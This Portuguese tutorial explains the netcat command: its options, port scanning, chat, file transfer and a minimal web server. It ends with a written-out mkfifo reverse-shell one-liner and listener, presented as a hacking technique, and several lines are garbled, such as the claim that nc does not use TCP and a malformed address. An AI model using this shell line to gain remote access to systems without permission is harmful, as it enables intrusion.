O comando netcat
é necessário para enviar e receber dados usando os protocolos TCP e UDP. Não tem um grande conjunto de funções, mas é suficiente para a verificação da ligação e depuração simples. Como comunicar através do protocolo TCP? Esta pergunta é feita por muitos utilizadores. Neste artigo, responderemos a essa pergunta e também mostraremos exemplos de aplicação real do comando.
O comando netcat
(ou nc
) é uma ferramenta poderosa para trabalhar com ligações de rede. É frequentemente utilizado por administradores de sistemas e programadores para várias tarefas. Aqui estão as principais funções e recursos do netcat
:
O netcat
é uma ferramenta versátil que pode ser utilizada numa grande variedade de cenários, desde simples mensagens a operações de rede complexas.
Comecemos por ver a sintaxe e as opções mais populares:
-6
- usa o protocolo IPv6. A predefinição é -4 e IPv4, respetivamente;-h
- mostra a ajuda com a lista de parâmetros disponíveis;-i
- delay - adiciona um atraso entre o envio de strings ou o scan de portas. É definido em segundos;-l
- modo de escuta. Usado com a especificação da porta;-N
- fecha a ligação quando o fim do ficheiro é atingido ao enviá-lo;-n
- Trabalha com endereços IP diretamente sem DNS, também desactiva o scan de portas;-P
- nome_do_utilizador - especifica o nome do utilizador a ligar ao proxy;-x
- endereço:porta - especifica o endereço e a porta para ligação ao proxy;-p
- porta - especifica o número da porta. Na maioria dos casos, a porta é lida sem especificar o parâmetro;-U
- usa o soquete de domínio UNIX (para comunicação entre processos);-u
- usa o protocolo UDP, por padrão é usado o TCP;-v
- modo detalhado. Usado durante a varredura;-W
number_packets - fecha a conexão após receber um certo número de pacotes;-w
timer - ativa o temporizador para limitar o tempo de ligação. É definido em segundos;-z
- desativar o envio de dados. É utilizado durante o scanning.O comando tem a seguinte forma (parâmetros endereço da porta):
$ nc
De seguida, vamos dizer-lhe como utilizar o comando.
A verificação é a principal utilização do netcat
. Deve utilizar dois parâmetros -vz
, especificar o endereço e a porta. Pode especificar um intervalo de endereços, mas neste caso é melhor peneirar apenas os portos abertos com o comandogrep
. Vamos analisar as portas do endereço de rede local:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Da mesma forma, vamos examinar as portas UDP adicionando o parâmetro -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Deve saber a principal diferença entre TCP e UDP. Portanto, as portas UDP estão sempre disponíveis.
O parâmetro -l
destina-se a escutar a porta. Muitas vezes é suficiente, mas é possível ativar o modo detalhado:
$ nc -nlv 8080
Lembre-se que ao usar o protocolo TCP, a porta deve estar livre, caso contrário aparecerá o erro Já em uso. Nem todas as portas podem ser utilizadas por utilizadores normais, por exemplo a porta 80 (HTTP), muito provavelmente estará ocupada por outro processo e necessitará de direitos de superutilizador.
Uma capacidade útil do comando é a troca de dados. Um exemplo simples é uma sala de chat de texto. Para iniciar um chat num computador, execute o utilitário no modo de escuta de porta:
$ nc -lp 8080
No outro computador, terá de especificar o endereço do primeiro computador e a mesma porta. Não se esqueça também de verificar se a porta está aberta:
$ nc 0.0.0.0 8080
Desta forma, será possível enviar e receber mensagens. Ou seja, o comando destina-se à troca de ficheiros. O princípio é o mesmo, exceto que é necessário redirecionar a saída para um ficheiro, nomeadamente paste.txt
:
$ nc -l 8080 > paste.txt
No outro PC, o ficheiro copy.txt
servirá de entrada. Não é supérfluo utilizar o parâmetro -N
para fechar a ligação após a transferência de ficheiros:
$ nc -N 0.0.0.0 8080 < copy.txt
Para a transferência de ficheiros, é importante seguir a sequência, primeiro abrir a escuta e só depois enviar o ficheiro. O comando nc é uma ferramenta funcional, mas está longe de ser a melhor forma de transferir ficheiros. Existem ferramentas mais eficientes e úteis para essa tarefa.
Uma vez que o comando NC não funciona com o protocolo TCP, permite enviar e receber pedidos HTTP. Assim, o utilitário pode se tornar um simples servidor web. Sim, não pode fazer nada mais complicado do que uma página em branco desta forma, mas a operação não demora quase nada, e a vantagem é que não precisa de instalar nada adicional.
No formulário de exemplo, resposta HTTP com o ficheiro index.html.
Falando do próprio np, é uma boa ideia definir um temporizador com o parâmetro -w 1
para quebrar a ligação se o browser não o fizer:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Para obter dados de um sítio Web, pode formular um pedido e enviá-lo para o endereço e porta aconselhados. Mas esta forma é bastante complicada, é melhor usar o comando CURL apropriado.
Com base nos exemplos discutidos acima, não será difícil concluir que o comando permite-lhe organizar o acesso remoto à shell do computador. Anteriormente, o utilitário NC tinha vários parâmetros para abrir o acesso ao terminal. O parâmetro -e
foi retirado do utilitário há muito tempo, pelo que deixará de haver um simples acesso ao terminal. A segurança da própria aplicação tornou-se mais elevada, mas pode continuar a funcionar em conjunto com outras.
Vamos mostrar a conexão usando o canal nomeado mkfifo. Antes de mais, vamos começar a escutar a porta do PC onde vamos ter acesso:
$ nc -lvnp 8080
Vamos diretamente ao comando para abrir o terminal. Primeiro, apagar o antigo canal nomeado(rm /tmp/f
), criar um novo no seu lugar(mkfifo /tmp/f
), ler o seu conteúdo(cat /tmp/f
) e enviar um comando shell para a sua saída(sh -i 2>&1
). Depois disso, resta executar o nc com a saída para o nosso canal nomeado(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Tenha em mente que esta é uma forma de hacking, no entanto, pode ser útil se houver problemas com o ssh
. Para evitar o ataque, configure uma política de segurança e uma firewall.